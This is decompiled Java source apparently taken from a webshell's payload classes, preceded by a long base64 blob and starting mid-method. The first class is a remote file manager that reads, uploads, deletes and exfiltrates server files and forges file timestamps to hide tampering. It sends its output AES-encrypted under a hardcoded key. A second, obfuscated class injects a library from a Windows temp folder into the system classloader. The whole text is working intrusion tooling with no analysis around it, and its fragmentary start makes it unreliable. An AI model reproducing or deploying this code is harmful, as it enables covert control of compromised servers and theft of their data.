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";
super();
this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
}
public boolean equals(Object obj) {
Object result = new HashMap();
boolean var15 = false;
boolean var3;
label198: {
Method write;
Object so;
label199: {
try {
var15 = true;
this.fillContext(obj);
if (mode.equalsIgnoreCase("list")) {
((Map)result).put("msg", this.list());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("show")) {
((Map)result).put("msg", this.show());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("checkExist")) {
((Map)result).put("msg", this.checkExist(path));
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("delete")) {
result = this.delete();
var15 = false;
} else if (mode.equalsIgnoreCase("create")) {
((Map)result).put("msg", this.create());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("append")) {
((Map)result).put("msg", this.append());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("update")) {
this.updateFile();
((Map)result).put("msg", "ok");
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("downloadPart")) {
((Map)result).put("msg", this.downloadPart(path, Long.parseLong(blockIndex), Long.parseLong(blockSize)));
((Map)result).put("status", "success");
var15 = false;
} else {
if (mode.equalsIgnoreCase("download")) {
this.download();
var3 = true;
var15 = false;
break label198;
}
if (mode.equalsIgnoreCase("rename")) {
result = this.renameFile();
var15 = false;
} else if (mode.equalsIgnoreCase("createFile")) {
((Map)result).put("msg", this.createFile());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("compress")) {
zipFile(path, true);
((Map)result).put("msg", "ok");
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("createDirectory")) {
((Map)result).put("msg", this.createDirectory());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("getTimeStamp")) {
((Map)result).put("msg", this.getTimeStamp());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("updateTimeStamp")) {
((Map)result).put("msg", this.updateTimeStamp());
((Map)result).put("status", "success");
var15 = false;
} else if (mode.equalsIgnoreCase("check")) {
((Map)result).put("msg", this.checkFileHash(path));
((Map)result).put("status", "success");
var15 = false;
} else {
var15 = false;
}
}
break label199;
} catch (Exception var20) {
((Map)result).put("msg", var20.getMessage());
((Map)result).put("status", "fail");
var15 = false;
} finally {
if (var15) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var18) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var19) {
}
return true;
}
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson((Map)result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var17) {
}
return var3;
}
private String checkFileHash(String path) throws Exception {
FileChannel ch = (FileChannel)this.sessionGetAttribute(this.Session, path);
if (ch != null && ch.isOpen()) {
ch.close();
}
byte[] input = this.getFileData(path);
if (input != null && input.length != 0) {
MessageDigest md5 = MessageDigest.getInstance("MD5");
md5.update(input);
byte[] byteArray = md5.digest();
StringBuilder sb = new StringBuilder();
byte[] var7 = byteArray;
int var8 = byteArray.length;
for(int var9 = 0; var9 < var8; ++var9) {
byte b = var7[var9];
sb.append(String.format("%02x", b));
}
return sb.substring(0, 16);
} else {
return null;
}
}
private void updateFile() throws Exception {
FileChannel ch = (FileChannel)this.sessionGetAttribute(this.Session, path);
if (ch == null) {
FileOutputStream fos = new FileOutputStream(path);
ch = fos.getChannel();
this.sessionSetAttribute(this.Session, "fos", fos);
this.sessionSetAttribute(this.Session, path, ch);
}
synchronized(ch) {
ch.position((long)(Integer.parseInt(blockIndex) * Integer.parseInt(blockSize)));
ch.write(ByteBuffer.wrap(this.base64decode(content)));
}
}
private Map<String, String> warpFileObj(File file) {
Map<String, String> obj = new HashMap();
obj.put("type", file.isDirectory() ? "directory" : "file");
obj.put("name", file.getName());
obj.put("size", file.length() + "");
obj.put("perm", this.getFilePerm(file));
obj.put("lastModified", (new SimpleDateFormat("yyyy/MM/dd HH:mm:ss")).format(new Date(file.lastModified())));
return obj;
}
private boolean isOldJava() {
String version = System.getProperty("java.version");
return version.compareTo("1.7") < 0;
}
private String checkExist(String path) throws Exception {
File file = new File(path);
if (file.exists()) {
return file.length() + "";
} else {
throw new Exception("");
}
}
private String getFilePerm(File file) {
String permStr = "";
if (this.isWindows()) {
permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-");
} else {
String version = System.getProperty("java.version");
if (version.compareTo("1.7") >= 0) {
try {
this.getClass();
Class FilesCls = Class.forName("java.nio.file.Files");
this.getClass();
Class PosixFileAttributesCls = Class.forName("java.nio.file.attribute.PosixFileAttributes");
this.getClass();
Class PathsCls = Class.forName("java.nio.file.Paths");
this.getClass();
Class PosixFilePermissionsCls = Class.forName("java.nio.file.attribute.PosixFilePermissions");
Object f = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), file.getAbsolutePath(), new String[0]);
Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, f, PosixFileAttributesCls, new LinkOption[0]);
Object result = PosixFilePermissionsCls.getMethod("toString", Set.class).invoke(PosixFilePermissionsCls, PosixFileAttributesCls.getMethod("permissions").invoke(attrs));
permStr = result.toString();
} catch (Exception var11) {
}
} else {
permStr = (file.canRead() ? "R" : "-") + "/" + (file.canWrite() ? "W" : "-") + "/" + (file.canExecute() ? "E" : "-");
}
}
return permStr;
}
private String list() throws Exception {
String result = "";
File f = new File(path);
List<Map<String, String>> objArr = new ArrayList();
objArr.add(this.warpFileObj(new File(".")));
objArr.add(this.warpFileObj(new File("..")));
if (f.isDirectory() && f.listFiles() != null) {
File[] var4 = f.listFiles();
int var5 = var4.length;
for(int var6 = 0; var6 < var5; ++var6) {
File temp = var4[var6];
objArr.add(this.warpFileObj(temp));
}
}
result = this.buildJsonArray(objArr, true);
return result;
}
private String show() throws Exception {
byte[] fileContent = this.getFileData(path);
return base64encode(fileContent);
}
private byte[] getFileData(String path) throws IOException {
ByteArrayOutputStream output = new ByteArrayOutputStream();
FileInputStream fis = new FileInputStream(new File(path));
byte[] buffer = new byte[10240000];
int length = false;
int length;
while((length = fis.read(buffer)) > 0) {
output.write(Arrays.copyOfRange(buffer, 0, length));
}
fis.close();
return output.toByteArray();
}
private String create() throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path);
fso.write(this.base64decode(content));
fso.flush();
fso.close();
result = path + "上传完成,远程文件大小:" + (new File(path)).length();
return result;
}
private Map<String, String> renameFile() throws Exception {
Map<String, String> result = new HashMap();
File oldFile = new File(path);
File newFile = new File(newPath);
if (oldFile.exists() && oldFile.isFile() & oldFile.renameTo(newFile)) {
result.put("status", "success");
result.put("msg", "重命名完成:" + newPath);
} else {
result.put("status", "fail");
result.put("msg", "重命名失败:" + newPath);
}
return result;
}
private String createFile() throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path);
fso.close();
result = path + "创建完成";
return result;
}
private String createDirectory() throws Exception {
String result = "";
File dir = new File(path);
dir.mkdirs();
result = path + "创建完成";
return result;
}
private void download() throws Exception {
FileInputStream fis = new FileInputStream(path);
byte[] buffer = new byte[1024000];
int length = false;
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
int length;
while((length = fis.read(buffer)) > 0) {
write.invoke(so, Arrays.copyOfRange(buffer, 0, length));
}
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
fis.close();
}
private String append() throws Exception {
String result = "";
FileOutputStream fso = new FileOutputStream(path, true);
fso.write(this.base64decode(content));
fso.flush();
fso.close();
result = path + "追加完成,远程文件大小:" + (new File(path)).length();
return result;
}
private Map<String, String> delete() throws Exception {
Map<String, String> result = new HashMap();
File f = new File(path);
if (f.exists()) {
if (f.delete()) {
result.put("status", "success");
result.put("msg", path + " 删除成功.");
} else {
result.put("status", "fail");
result.put("msg", "文件" + path + "存在,但是删除失败.");
}
} else {
result.put("status", "fail");
result.put("msg", "文件不存在.");
}
return result;
}
private String getTimeStamp() throws Exception {
String result = "";
DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
File f = new File(path);
Map<String, String> timeStampObj = new HashMap();
if (f.exists()) {
this.getClass();
Class FilesCls = Class.forName("java.nio.file.Files");
this.getClass();
Class BasicFileAttributesCls = Class.forName("java.nio.file.attribute.BasicFileAttributes");
this.getClass();
Class PathsCls = Class.forName("java.nio.file.Paths");
Object file = PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]);
Object attrs = FilesCls.getMethod("readAttributes", Path.class, Class.class, LinkOption[].class).invoke(FilesCls, file, BasicFileAttributesCls, new LinkOption[0]);
Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime");
Object createTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("creationTime").invoke(attrs));
Object lastAccessTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("lastAccessTime").invoke(attrs));
Object lastModifiedTime = FileTimeCls.getMethod("toMillis").invoke(BasicFileAttributesCls.getMethod("lastModifiedTime").invoke(attrs));
String createTimeStamp = df.format(new Date((Long)createTime));
String lastAccessTimeStamp = df.format(new Date((Long)lastAccessTime));
String lastModifiedTimeStamp = df.format(new Date((Long)lastModifiedTime));
timeStampObj.put("createTime", createTimeStamp);
timeStampObj.put("lastAccessTime", lastAccessTimeStamp);
timeStampObj.put("lastModifiedTime", lastModifiedTimeStamp);
result = this.buildJson(timeStampObj, true);
return result;
} else {
throw new Exception("文件不存在");
}
}
private boolean isWindows() {
return System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0;
}
private String updateTimeStamp() throws Exception {
String result = "";
DateFormat df = new SimpleDateFormat("yyyy/MM/dd HH:mm:ss");
File f = new File(path);
if (f.exists()) {
f.setLastModified(df.parse(modifyTimeStamp).getTime());
if (!this.isOldJava()) {
Class PathsCls = Class.forName("java.nio.file.Paths");
Class BasicFileAttributeViewCls = Class.forName("java.nio.file.attribute.BasicFileAttributeView");
Class FileTimeCls = Class.forName("java.nio.file.attribute.FileTime");
Method getFileAttributeView = Class.forName("java.nio.file.Files").getMethod("getFileAttributeView", Path.class, Class.class, LinkOption[].class);
Object attributes = getFileAttributeView.invoke(Class.forName("java.nio.file.Files"), PathsCls.getMethod("get", String.class, String[].class).invoke(PathsCls.getClass(), path, new String[0]), BasicFileAttributeViewCls, new LinkOption[0]);
Object createTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(createTimeStamp).getTime());
Object accessTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(accessTimeStamp).getTime());
Object modifyTime = FileTimeCls.getMethod("fromMillis", Long.TYPE).invoke(FileTimeCls, df.parse(modifyTimeStamp).getTime());
BasicFileAttributeViewCls.getMethod("setTimes", FileTimeCls, FileTimeCls, FileTimeCls).invoke(attributes, modifyTime, accessTime, createTime);
}
result = "时间戳修改成功。";
return result;
} else {
throw new Exception("文件不存在");
}
}
private String downloadPart(String path, long blockIndex, long blockSize) throws Exception {
FileChannel ch = (FileChannel)this.sessionGetAttribute(this.Session, path);
if (ch == null) {
FileInputStream fis = new FileInputStream(path);
ch = fis.getChannel();
this.sessionSetAttribute(this.Session, "fis", fis);
this.sessionSetAttribute(this.Session, path, ch);
}
ByteBuffer buffer = ByteBuffer.allocate((int)blockSize);
int size;
synchronized(ch) {
ch.position(blockIndex * blockSize);
size = ch.read(buffer);
}
byte[] content = buffer.array();
return base64encode(Arrays.copyOfRange(content, 0, size));
}
private static void zipFile(String srcDir, boolean KeepDirStructure) throws Exception {
File file = new File(srcDir);
String fileName = file.getName();
FileOutputStream out = new FileOutputStream((new File(srcDir)).getParentFile().getAbsolutePath() + File.separator + fileName + ".zip");
long start = System.currentTimeMillis();
ZipOutputStream zos = null;
try {
zos = new ZipOutputStream(out);
File sourceFile = new File(srcDir);
compress(sourceFile, zos, sourceFile.getName(), KeepDirStructure);
long var9 = System.currentTimeMillis();
} catch (Exception var18) {
throw new RuntimeException("zip error from ZipUtils", var18);
} finally {
if (zos != null) {
try {
zos.close();
} catch (IOException var17) {
var17.printStackTrace();
}
}
}
}
private static void compress(File sourceFile, ZipOutputStream zos, String name, boolean KeepDirStructure) throws Exception {
byte[] buf = new byte[102400];
if (sourceFile.isFile()) {
zos.putNextEntry(new ZipEntry(name));
FileInputStream in = new FileInputStream(sourceFile);
int len;
while((len = in.read(buf)) != -1) {
zos.write(buf, 0, len);
}
zos.closeEntry();
in.close();
} else {
File[] listFiles = sourceFile.listFiles();
if (listFiles != null && listFiles.length != 0) {
File[] var11 = listFiles;
int var7 = listFiles.length;
for(int var8 = 0; var8 < var7; ++var8) {
File file = var11[var8];
if (KeepDirStructure) {
compress(file, zos, name + "/" + file.getName(), KeepDirStructure);
} else {
compress(file, zos, file.getName(), KeepDirStructure);
}
}
} else if (KeepDirStructure) {
zos.putNextEntry(new ZipEntry(name + "/"));
zos.closeEntry();
}
}
}
private String buildJsonArray(List<Map<String, String>> list, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
sb.append("[");
Iterator var4 = list.iterator();
while(var4.hasNext()) {
Map<String, String> entity = (Map)var4.next();
sb.append(this.buildJson(entity, encode) + ",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("]");
return sb.toString();
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode) {
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
value = value.replace("\n", "").replace("\r", "");
}
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private byte[] base64decode(String base64Text) throws Exception {
String version = System.getProperty("java.version");
byte[] result;
Class Base64;
Object Decoder;
if (version.compareTo("1.9") >= 0) {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Decoder = Base64.getMethod("getDecoder", (Class[])null).invoke(Base64, (Object[])null);
result = (byte[])Decoder.getClass().getMethod("decode", String.class).invoke(Decoder, base64Text);
} else {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Decoder");
Decoder = Base64.newInstance();
result = (byte[])Decoder.getClass().getMethod("decodeBuffer", String.class).invoke(Decoder, base64Text);
}
return result;
}
private static String base64encode(String content) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
} else {
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content.getBytes("UTF-8"));
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private static String base64encode(byte[] content) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
Object Encoder;
if (version.compareTo("1.9") >= 0) {
Base64 = Class.forName("java.util.Base64");
Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, content);
} else {
Base64 = Class.forName("sun.misc.BASE64Encoder");
Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, content);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private Object sessionGetAttribute(Object session, String key) {
Object result = null;
try {
result = session.getClass().getMethod("getAttribute", String.class).invoke(session, key);
} catch (Exception var5) {
}
return result;
}
private void sessionSetAttribute(Object session, String key, Object value) {
try {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, value);
} catch (Exception var5) {
}
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.vjh.ftoxnna.sqayznm;
import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Rbhtis {
public static String libPath;
private Object Request;
private Object Response;
private Object Session;
public Rbhtis() {
libPath = "";
libPath = libPath + "c:/windows/temp/F9wHDO";
super();
}
public boolean equals(Object obj) {
HashMap result = new HashMap();
boolean var14 = false;
Object so;
Method write;
label77: {
try {
var14 = true;
this.fillContext(obj);
URL url = (new File(libPath)).toURI().toURL();
URLClassLoader urlClassLoader = (URLClassLoader)ClassLoader.getSystemClassLoader();
Method add = URLClassLoader.class.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
add.invoke(urlClassLoader, url);
result.put("status", "success");
var14 = false;
break label77;
} catch (Exception var18) {
result.put("status", "fail");
result.put("msg", var18.getMessage());
var14 = false;
} finally {
if (var14) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var15) {
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var17) {
}
return true;
}
